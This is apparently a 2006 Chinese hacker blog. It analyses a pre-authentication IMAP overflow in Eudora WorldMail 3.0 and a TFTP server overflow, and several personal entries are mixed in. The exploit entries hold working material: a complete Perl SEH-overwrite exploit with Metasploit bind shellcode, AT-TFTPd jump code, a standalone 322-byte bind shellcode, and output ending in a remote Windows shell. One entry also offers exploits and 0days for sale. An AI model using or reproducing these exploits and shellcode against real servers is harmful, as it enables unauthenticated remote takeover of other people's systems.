2006年12月16日

[原创]Eduro WorldMail3.0 6.1.19.0 IMAPd Pre-Auth远程溢出分析

版权所有,谢绝转载!

前言:

本来以为这个漏洞需要用alpha shellcode,但是比较好写的地方只有540bytes,对alpha来说太小了。
后来仔细跟了下,终于搞定了。

milw0rm上那个覆盖seh的在2000上适用。不知什么原因,我在2k3上覆盖seh不成功。
所以就覆盖函数返回地址了。

/*

Eudora WorldMail IMAP Server Multiple Vulnerabilities

http://www.milw0rm.com/exploits/1380
http://secunia.com/advisories/17640/

2) A boundary error exists in the IMAP server when parsing user-supplied IMAP commands. This can be exploited to cause a stack-based overflow via a long string containing a "}" character.

Successful exploitation allows arbitrary code execution without requiring prior authentication.

The vulnerabilities have been reported in version 3.0. Prior versions may also be affected.

漏洞分析:
by axis
2006-12-14

溢出函数在

bp 0×0040c5ea

0040C8AE 8B55 0C MOV EDX,DWORD PTR SS:[EBP+C]
0040C8B1 8B82 E4020000 MOV EAX,DWORD PTR DS:[EDX+2E4]
0040C8B7 8B4D 0C MOV ECX,DWORD PTR SS:[EBP+C]
0040C8BA 8B51 0C MOV EDX,DWORD PTR DS:[ECX+C]
0040C8BD 8D4410 FD LEA EAX,DWORD PTR DS:[EAX+EDX-3]
0040C8C1 8945 FC MOV DWORD PTR SS:[EBP-4],EAX
0040C8C4 68 CC044400 PUSH IMAP4A.004404CC ; ASCII "}
"
0040C8C9 8B4D FC MOV ECX,DWORD PTR SS:[EBP-4]
0040C8CC 51 PUSH ECX
0040C8CD E8 7E250100 CALL IMAP4A.0041EE50

在这里判断末尾的 } 符号

接下来这里

0040C8FC 837D FC 00 CMP DWORD PTR SS:[EBP-4],0
0040C900 72 41 JB SHORT IMAP4A.0040C943
0040C902 83BD E4FDFFFF 0>CMP DWORD PTR SS:[EBP-21C],0
0040C909 7C 38 JL SHORT IMAP4A.0040C943
0040C90B 8B4D 0C MOV ECX,DWORD PTR SS:[EBP+C]
0040C90E 8B91 E4020000 MOV EDX,DWORD PTR DS:[ECX+2E4]
0040C914 8B85 E4FDFFFF MOV EAX,DWORD PTR SS:[EBP-21C]
0040C91A 0FBE0C02 MOVSX ECX,BYTE PTR DS:[EDX+EAX]
0040C91E 83F9 7B CMP ECX,7B //注意这里需要过滤一个badchar 0×7b
0040C921 74 20 JE SHORT IMAP4A.0040C943
0040C923 8B95 60FDFFFF MOV EDX,DWORD PTR SS:[EBP-2A0]
0040C929 83C2 01 ADD EDX,1
0040C92C 8995 60FDFFFF MOV DWORD PTR SS:[EBP-2A0],EDX
0040C932 8B85 E4FDFFFF MOV EAX,DWORD PTR SS:[EBP-21C]
0040C938 83E8 01 SUB EAX,1
0040C93B 8985 E4FDFFFF MOV DWORD PTR SS:[EBP-21C],EAX
0040C941 ^ EB B9 JMP SHORT IMAP4A.0040C8FC

接下来开始拷贝,缺少长度检查

0040C953 8B55 0C MOV EDX,DWORD PTR SS:[EBP+C]
0040C956 8B82 E4020000 MOV EAX,DWORD PTR DS:[EDX+2E4]
0040C95C 8B8D E4FDFFFF MOV ECX,DWORD PTR SS:[EBP-21C]
0040C962 8D5408 01 LEA EDX,DWORD PTR DS:[EAX+ECX+1]
0040C966 52 PUSH EDX
0040C967 8D85 64FDFFFF LEA EAX,DWORD PTR SS:[EBP-29C]
0040C96D 50 PUSH EAX
0040C96E E8 AD0F0100 CALL IMAP4A.0041D920 //类似 strcpy([ebp-29c], [eax+ecx+1]);

接下来

0040C973 83C4 0C ADD ESP,0C
0040C976 8B8D 60FDFFFF MOV ECX,DWORD PTR SS:[EBP-2A0]
0040C97C C6840D 64FDFFFF>MOV BYTE PTR SS:[EBP+ECX-29C],0 //注意这里会把buffer后的一个字节变成0

接下来

0040C99F 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C]
0040C9A2 8B88 E4020000 MOV ECX,DWORD PTR DS:[EAX+2E4]
0040C9A8 8B95 E4FDFFFF MOV EDX,DWORD PTR SS:[EBP-21C]
0040C9AE 0FBE0411 MOVSX EAX,BYTE PTR DS:[ECX+EDX] //注意这里

这里必须让[ECX+EDX]是一个可读的地址,由于如果覆盖了ebp+8以后的,之后的函数会很不好处理,不好返回
所以,只能选择覆盖ebp+4的地方3个字节。

所以为了这里地址有效,必须在ebp-21c处覆盖上计算好的edx值

下面会先send回来一个字符串

0040CAC0 50 PUSH EAX
0040CAC1 68 E4044400 PUSH IMAP4A.004404E4 ; ASCII "%s BAD invalid literal string length
"
0040CAC6 68 00020000 PUSH 200
0040CACB 8D8D F0FDFFFF LEA ECX,DWORD PTR SS:[EBP-210]
0040CAD1 51 PUSH ECX
0040CAD2 E8 D2070100 CALL IMAP4A.0041D2A9

所以在运行端口复用shellcode前,必须先处理掉这个应答

最后函数返回获得控制权。

这里覆盖eip,指向payload在内存中的一个拷贝。且地址开头必须为0×00(因为覆盖ebp+8会很麻烦,而且payload后的一个字节会被改为0×00)
似乎正好有个比较固定的地址。英文版中文版均已经测试。

所以最后的payload构造

#my $payload = NOP . "\xeb\x04" . $edx . NOP . $shellcode . $eip . "}";

似乎比较通用 :)

J:\exploit>eduro_worldmail3_imap_exp.exe 10.0.64.38 143

== Eduro WorldMail3 6.1.19.0 IMAPd Pre-Auth Remote Exploit
== by axis@ph4nt0m
== Pleaz keep it private!

[+] Got banner: * OK WorldMail IMAP4 Server 6.1.19.0 ready
[*]Sending our Evil Payload, Good Luck! ^_^
[+] Ready to Fire!! @_@~~!
[+] Find socket! Cool~~
[*] Sending magic string …
[*] Now Sending Evil
[*] Got a Shell? Then try: help ^_^!

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

D:\WINDOWS\system32>

*/

 

 

 

 

 

 

 

 

 

 

 

 

—————云舒回贴—————

Codz:


#!/usr/bin/perl

use strict;
use
IO::Socket;

# win32_bind -  EXITFUNC=seh LPORT=99 Size=344 Encoder=PexFnstenvSub <a href="http://metasploit.com" target="_blank">http://metasploit.com</a>
my $shellcode =
"x2bxc9x83xe9xb0xd9xeexd9x74x24xf4x5bx81x73x13x5c".
"x74x31xefx83xebxfcxe2xf4xa0x1exdaxa2xb4x8dxcex10".
"xa3x14xbax83x78x50xbaxaax60xffx4dxeax24x75xdex64".
"x13x6cxbaxb0x7cx75xdaxa6xd7x40xbaxeexb2x45xf1x76".
"xf0xf0xf1x9bx5bxb5xfbxe2x5dxb6xdax1bx67x20x15xc7".
"x29x91xbaxb0x78x75xdax89xd7x78x7ax64x03x68x30x04".
"x5fx58xbax66x30x50x2dx8ex9fx45xeax8bxd7x37x01x64".
"x1cx78xbax9fx40xd9xbaxafx54x2ax59x61x12x7axddxbf".
"xa3xa2x57xbcx3ax1cx02xddx34x03x42xddx03x20xcex3f".
"x34xbfxdcx13x67x24xcex39x03xfdxd4x89xddx99x39xed".
"x09x1ex33x10x8cx1cxe8xe6xa9xd9x66x10x8ax27x62xbc".
"x0fx27x72xbcx1fx27xcex3fx3ax1cx31x8cx3ax27xb8x0e".
"xc9x1cx95xf5x2cxb3x66x10x8ax1ex21xbex09x8bxe1x87".
"xf8xd9x1fx06x0bx8bxe7xbcx09x8bxe1x87xb9x3dxb7xa6".
"x0bx8bxe7xbfx08x20x64x10x8cxe7x59x08x25xb2x48xb8".
"xa3xa2x64x10x8cx12x5bx8bx3ax1cx52x82xd5x91x5bxbf".
"x05x5dxfdx66xbbx1ex75x66xbex45xf1x1cxf6x8ax73xc2".
"xa2x36x1dx7cxd1x0ex09x44xf7xdfx59x9dxa2xc7x27x10".
"x29x30xcex39x07x23x63xbex0dx25x5bxeex0dx25x64xbe".
"xa3xa4x59x42x85x71xffxbcxa3xa2x5bx10xa3x43xcex3f".
"xd7x23xcdx6cx98x10xcex39x0ex8bxe1x87xacxfex35xb0".
"x0fx8bxe7x10x8cx74x31xef";

my $command = "a001 LIST ";
my $poppopret = "x71x15xfax7f";
my $jmpback = "xe9x98xfexffxff";
my $jmpforward = "x90x90xEBx04";
my $nop = "x90" x ( 784 - length($command) * 2 - length($shellcode) - length($jmpforward) );

#                                              EB 04        SEH              jmp back 344+2+2+4+3+5 = 360
# a001 LIST | NOP.....| shellcode | NOP | jmpforward | pop/pop/ret | NOP |jmpback | }.....|
#      10   |              344       2          2               4     3       5       400
#---------------------784----------------------|

my $buffer = $command.$nop.$shellcode.$jmpforward;

$buffer .= $poppopret;
$buffer .= "x90x90x90".$jmpback;
$buffer .= "}" x 400;

my $sock = IO::Socket::INET->new( PeerHost=>"10.62.136.13",PeerPort=>"143",Proto=>"tcp" ) || die "connect error...\n";

my $recv_buff;
$sock->recv($recv_buff, 1024, 0);
print
$recv_buff;

print $sock "a001 LIST ".$buffer."\r\n";
print
"Try to connect port 99!\n";

覆盖了SEH来做的,XP SP2中文系统测试。

——————-我再跟贴———————–

\被论坛过滤了,需要的自己补上。

另外我终于找到原因了。

请教了emm,重新回去看了mslug和emm的讨论

原来2003 sp1和 2003 sp0,xp sp2还不太一样,覆盖seh handler的跳转地址不能在heap,也不能在语言区

需要在加载模块范围内。

我测试了ntdll.dll失败,但是在wshtcpip.dll,和应用程序自己的dll里成功了

最后这个eudora worldmail,在2003 sp1下覆盖seh方式的通用跳转地址为 0×10012428

具体exp就不写了,分析到此为止,这个mail好象也不是很常见,而且国外多点。

2006年12月13日

不管是smtp还是 pop3

pre-auth的传递参数比如USER xxxxxxx     PASS  xxxxxxxxxxxx
这种

基本上都是限定只能输入240字节

因为有一个 strncat(buf, string, 240);

loc_4523FB:
mov     eax, [esi]
or      ecx, 0FFFFFFFFh
lea     edx, [ebx+eax+33h]
xor     eax, eax
mov     edi, edx
repne scasb
not     ecx
dec     ecx
mov     eax, 0F0h
sub     eax, ecx
lea     ecx, [ebp+String]
push    eax             ; size_t
push    ecx             ; char *
push    edx             ; char *
call    _strncat
add     esp, 0Ch

注意这里
mov  eax, F0h

接下来

loc_452425:
mov     edx, [esi]
or      ecx, 0FFFFFFFFh
xor     eax, eax
lea     edx, [edx+ebx+33h]
mov     edi, edx
repne scasb
mov     edi, [esi]
not     ecx
dec     ecx
add     ecx, edi
cmp     byte ptr [ecx+ebx+32h], 0Ah
jz      short loc_452459

然后就判断回车\x0A

如果有回车,就继续执行,如果没有回车,就返回上层函数。

继续执行后

在这里执行了一个拷贝

lea     edi, [ebp+var_270]
add     esp, 0Ch
rep stosd
mov     ecx, [ebp+var_18]
lea     edx, [ebp+var_270]
push    ecx
push    offset aS_3     ; "%s"
push    edx             ; char *
stosb
call    _sprintf

不过由于前面被截断了,只能拷贝240 bytes过来,所以是覆盖不到ebp的

我只看了3.7.3.1和3.6.3.1 这两个版本,基本相同.

其他登陆后的命令就没看了,不怎么感兴趣了,如果也用的这里的函数来截断,那也是没有问题的。

所以,至少在处理输入这个地方是没有问题的了。

不能确定在之后的地方有没有问题,没继续跟下去了。

最后结论是,期待winwebmail 0day的兄弟们估计要失望了,至少pre-auth的漏洞,是比较难了,呵呵。

2006年12月11日

专门低价贱卖各类exp,0day漏洞等

等到哪天不再为生活发愁了,去气死那些个大老爷们!

突然又有点迷茫了。

搞技术做为谋生的手段似乎还不太够,but i like it

所以,还是不想去乙方

所以,还是 just hacking  for  fun!

2006年12月04日

晚上和gf去看了场戏剧,很精彩,让我这种土人也受了下艺术的熏陶。

另外突然想到,自己实在是笨,那个at-tftpd的,直接在jmp  esp后面,调用 call  dword ptr ds:[edi + 09h]就可以了,我还跳来跳去的,太笨了,呵呵

这个tftpd听都没听过,今天看见有人在问,就看了下。

发现223bytes + 4bytes覆盖eip

但是shellcode在  [esp+28h]处,也没有什么通用的方法,只好从系统dll里找ret

本来发现edi跟shellcode有点关系,后来找了下,发现还是有点麻烦,放弃了

用jmp esp的方法不能够覆盖太多,经过测试,eip后大概还可以覆盖8还是9个bytes,然后就会出错了。

想了想,改用jmp esp的方法,不过这次利用了那个短小的几个bytes,直接  call  dword ptr ds:[esp+28h]

这样就跑到shellcode去执行了

但是buffer只有200多一点bytes可以写,太小了,就算分段发送shellcode都太小。

怎么办?

后来发现继续发送一段shellcode会在内存里跟在payload后面,大概可以跟260多bytes,甚至更多。(超过300就出错)。执行完shellcode,再跳过一段数据就可以跳到那里去执行了。

那么这样shellcode的空间就大了

关键代码如下

#!/usr/bin/perl -w
#acaro[at]jervus.it
#http://www.securityfocus.com/bid/21320
#
# liuqx@nipc.org.cn is credited with the discovery of this vulnerability

#by axis
#   pad + jmpsc + pad + eip + calljmpsc
#   jmpsc –> stage1 —> stage2

$pad1 = "\x90"x4;

# 需要小于 219bytes的shellcode

# mov  esp, edi ; add esp,09h ; jmp esp    7bytes
$jmprealsc = "\x8b\xe7\x83\xc4\x09\xff\xe4";

$pad2 = "\x90"x212;

#stage1   real sc  小于260bytes,大约
$sc =
"\x90"x260;

$eip = "\x12\x45\xfa\x7f\x3e\xff\x54\x24\x28";        # jmp  esp ;  call  dword ptr ds:[esp +28h]

$mode = "netascii";

$exploit = "\x00\x02" . $pad1 . $jmprealsc . $pad2 . $eip . "\0"  . $mode . "\0" . $sc . "\xcc" ."\0" ;

print $victim $exploit;

这里覆盖eip后,先jmp esp,然后跳到 [esp+28h]

他指向我们发送的$exploit串,整个。

然后在最开始其开始,跳到后面的$sc 区去执行我们真正的shellcode。

因为只需要用到一个系统dll里的地址,而且还是 jmp esp的地址,所以这种方法比POC通用多了,也真正可以拿到shell。

不多写了,这个东西没听说过,送给那位老兄练手,纯当娱乐,:)

2006年11月23日

今天是感恩节,收到了来自她的感言,虽然只有平淡的一句话,但我却能感受到真心。

我是个粗心的家伙,所以今天都浑浑噩噩的,没有和她一起好好庆祝这个节日。

其实心里有好多话想对她说,却不知该从何开始。

但从那天那一刻起,我的眼里只有她,再容不下其他人了!

2006年11月17日

thanks to swan

也不是什么好东西,发一个方便大家用,比较小一点,只有322bytes,LSD那个方法编译出来有500多bytes,呵呵

port 是倒数第四个字节起的2个字节.  这里默认是21端口,\x15\x00

/* 322 bytes */
"\xe9\x10\x01\x00\x00\x5f\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b"
"\x70\x1c\xad\x8b\x68\x08\x8b\xf7\x6a\x03\x59\xe8\xb0\x00\x00\x00"
"\xe2\xf9\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\xff\x16\x8b"
"\xe8\x6a\x06\x59\xe8\x97\x00\x00\x00\xe2\xf9\x33\xdb\x43\xff\x56"
"\x20\x83\xfb\x64\x75\xf7\x83\xc7\x04\x81\xec\x90\x01\x00\x00\x54"
"\x68\x01\x01\x00\x00\xff\x56\x0c\x50\x50\x50\x50\x6a\x01\x6a\x02"
"\xff\x56\x10\x8b\xd8\x33\xc0\x50\x50\x66\x8b\x56\x24\x86\xd6\xc1"
"\xca\x10\x66\xba\x02\x00\x52\x8b\xd4\x6a\x10\x52\x53\xff\x56\x14"
"\x6a\x01\x53\xff\x56\x18\x50\x50\x53\xff\x56\x1c\x8b\xd8\x68\x63"
"\x6d\x64\x00\x8d\x14\x24\x83\xec\x54\x8b\xfc\x6a\x14\x59\x33\xc0"
"\x89\x04\x8f\xe2\xfb\xc6\x47\x10\x44\xfe\x47\x3c\xfe\x47\x3d\x89"
"\x5f\x48\x89\x5f\x4c\x89\x5f\x50\x8d\x47\x10\x57\x50\x51\x51\x51"
"\x6a\x01\x51\x51\x52\x51\xff\x56\x04\x33\xc0\x48\x50\xff\x56\x08"
"\x51\x56\x8b\x75\x3c\x8b\x74\x2e\x78\x03\xf5\x56\x8b\x76\x20\x03"
"\xf5\x33\xc9\x49\x41\xad\x03\xc5\x33\xdb\x0f\xbe\x10\x3a\xd6\x74"
"\x08\xc1\xcb\x07\x03\xda\x40\xeb\xf1\x3b\x1f\x75\xe7\x5e\x8b\x5e"
"\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5e\x1c\x03\xdd\x8b\x04\x8b\x03"
"\xc5\xab\x5e\x59\xc3\xe8\xeb\xfe\xff\xff\x32\x74\x91\x0c\xc9\xbc"
"\xa6\x6b\x8f\xf2\x18\x61\x3d\x6a\xb4\x80\x2d\x32\x78\xde\x64\x10"
"\xa7\xdd\x0c\x9f\xd3\x4b\xb1\x1e\x97\x01\x7c\xe2\x9b\x7c\x15\x00"
"\xbf\xe5";

另外to my honey gf,看,我这不是发东西了哈~~~~,西西

2006年11月15日

其实我的本本也不差了,1G内存。

可是现在基本上开机后,启动完就去了500M内存左右:

各类IM开了3、4个,有时候更多,尤其是QQ,超级耗资源。

然后outlook2003也要一直挂着,及时收邮件,这个玩意收信的时候简直就别想干别的事了。

播放器一个,一边听歌一边工作。

网页若干,我一般是喜欢开十几个网页放着,用X浏览器,不知道是firefox的原因还是X浏览器的原因,尤其耗资源。

卡巴一个,经常被他搞的进入假死状态。

google desktop一个:居家旅行必备工具。

然后就是工作需要,cmd窗口若干,secureCRT或putty窗口若干,win终端连接若干

有时候还有vmware虚拟机开一个,C++编译器一个,要是还开OD或IDA PRO就更惨了

本来我是RSS的狂热爱好着,为了以上那些“必需品”,放弃掉RSS了,还好同事向我推荐了一个好网站
www.zhuaxia.com ,在他网站上聚合RSS,不用再down回本地了,真正体验到了web2。0带来的好处,不然真吃不消。

现在游戏的配置也越来越BT了,光大不说,最近的魔法门10,全面战争:中世纪2,无冬2,等等,都TMD的超过4。5G了,一张DVD5还刻不下,中世纪2安装完后据说有10G,真是无语。。。。。

对机器配置也高的出奇。

没优化好的哥特3不说,魔法门10我7600GT的显卡,intel双核,都只能开中等配置玩。

要玩游戏,1G内存已经落伍了,必须赶快升级到2G才行。。。。。。

真是疯狂的时代!

2006年11月13日

metasploit的stage shellcode看不明白是怎么搞的,呵呵,一个套一个的,没仔细跟了。

 

今天继续修改了stage shellcode,现在stage2支持端口复用,文件上传下载,传输过程加密了,呵呵。

 

死了好多脑细胞。。。。。。

 

明天继续  :)

 

另外注意到 ida pro 5里面反汇编的程序,在恢复栈平衡时,都是调用函数前先

mov    esi,  esp

 

调用完后,

cmp   esi,esp

jz    __chkesp

 

然后如果不对,就跳转到  __chkesp ,去恢复栈平衡。

 

一点小tips。